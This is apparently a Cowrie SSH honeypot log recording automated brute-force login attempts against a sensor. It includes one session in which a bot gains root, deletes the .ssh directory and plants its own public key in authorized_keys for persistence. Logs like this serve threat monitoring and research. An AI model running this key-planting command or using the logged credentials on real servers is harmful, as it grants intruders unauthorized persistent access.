{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56412,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ce093d69674","protocol":"ssh","message":"New connection: 2.57.122.208:56412 (10.17.0.5:22) [session: 3ce093d69674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:51:46.816023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:51:46.872216Z","src_ip":"2.57.122.208","session":"3ce093d69674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:51:46.973679Z","src_ip":"2.57.122.208","session":"3ce093d69674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:51:47.492735Z","src_ip":"2.57.122.208","session":"3ce093d69674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:51:48.615753Z","src_ip":"2.57.122.208","session":"3ce093d69674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":54138,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1fe9264f7ed","protocol":"ssh","message":"New connection: 193.32.162.151:54138 (159.203.135.109:22) [session: f1fe9264f7ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:03.390636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:03.406104Z","src_ip":"193.32.162.151","session":"f1fe9264f7ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:03.503186Z","src_ip":"193.32.162.151","session":"f1fe9264f7ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kryan","password":"123","message":"login attempt [kryan/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:03.931073Z","src_ip":"193.32.162.151","session":"f1fe9264f7ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:05.041054Z","src_ip":"193.32.162.151","session":"f1fe9264f7ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.187.9.8","src_port":51578,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f4cc0e15fd5","protocol":"ssh","message":"New connection: 52.187.9.8:51578 (159.203.135.109:22) [session: 7f4cc0e15fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:42.963210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:42.967611Z","src_ip":"52.187.9.8","session":"7f4cc0e15fd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:43.203125Z","src_ip":"52.187.9.8","session":"7f4cc0e15fd5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"wdlinux","message":"login attempt [root/wdlinux] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:44.179438Z","src_ip":"52.187.9.8","session":"7f4cc0e15fd5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:44.693878Z","src_ip":"52.187.9.8","session":"7f4cc0e15fd5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:44.697238Z","src_ip":"52.187.9.8","session":"7f4cc0e15fd5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:44.701264Z","src_ip":"52.187.9.8","session":"7f4cc0e15fd5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:44.943387Z","src_ip":"52.187.9.8","session":"7f4cc0e15fd5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:45.444014Z","src_ip":"52.187.9.8","session":"7f4cc0e15fd5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:45.446782Z","src_ip":"52.187.9.8","session":"7f4cc0e15fd5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:45.688965Z","src_ip":"52.187.9.8","session":"7f4cc0e15fd5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:45.692262Z","src_ip":"52.187.9.8","session":"7f4cc0e15fd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.187.9.8","src_port":51594,"dst_ip":"159.203.135.109","dst_port":22,"session":"1425c6767c3c","protocol":"ssh","message":"New connection: 52.187.9.8:51594 (159.203.135.109:22) [session: 1425c6767c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:45.918236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:45.923438Z","src_ip":"52.187.9.8","session":"1425c6767c3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:46.160225Z","src_ip":"52.187.9.8","session":"1425c6767c3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:47.125432Z","src_ip":"52.187.9.8","session":"1425c6767c3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:48.363104Z","src_ip":"52.187.9.8","session":"1425c6767c3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.187.9.8","src_port":51606,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c6db2fb8268","protocol":"ssh","message":"New connection: 52.187.9.8:51606 (159.203.135.109:22) [session: 2c6db2fb8268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:48.602907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:48.607544Z","src_ip":"52.187.9.8","session":"2c6db2fb8268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:48.853936Z","src_ip":"52.187.9.8","session":"2c6db2fb8268","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:49.860238Z","src_ip":"52.187.9.8","session":"2c6db2fb8268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:50.101629Z","src_ip":"52.187.9.8","session":"7f4cc0e15fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:50.106636Z","src_ip":"52.187.9.8","session":"2c6db2fb8268","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53356,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b4c2e64cadd","protocol":"ssh","message":"New connection: 80.94.92.186:53356 (10.17.0.5:22) [session: 7b4c2e64cadd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:51.297945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:51.440859Z","src_ip":"80.94.92.186","session":"7b4c2e64cadd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:51.444164Z","src_ip":"80.94.92.186","session":"7b4c2e64cadd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:52.622351Z","src_ip":"80.94.92.186","session":"7b4c2e64cadd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":38460,"dst_ip":"159.203.135.109","dst_port":22,"session":"404b90c98a58","protocol":"ssh","message":"New connection: 14.225.2.125:38460 (159.203.135.109:22) [session: 404b90c98a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:53.443076Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:53.698930Z","src_ip":"14.225.2.125","session":"404b90c98a58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:53.932804Z","src_ip":"80.94.92.186","session":"7b4c2e64cadd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":38462,"dst_ip":"159.203.135.109","dst_port":22,"session":"807eb438b971","protocol":"ssh","message":"New connection: 14.225.2.125:38462 (159.203.135.109:22) [session: 807eb438b971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:53.956396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:53.960806Z","src_ip":"14.225.2.125","session":"807eb438b971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:54.218118Z","src_ip":"14.225.2.125","session":"807eb438b971","protocol":"ssh"}
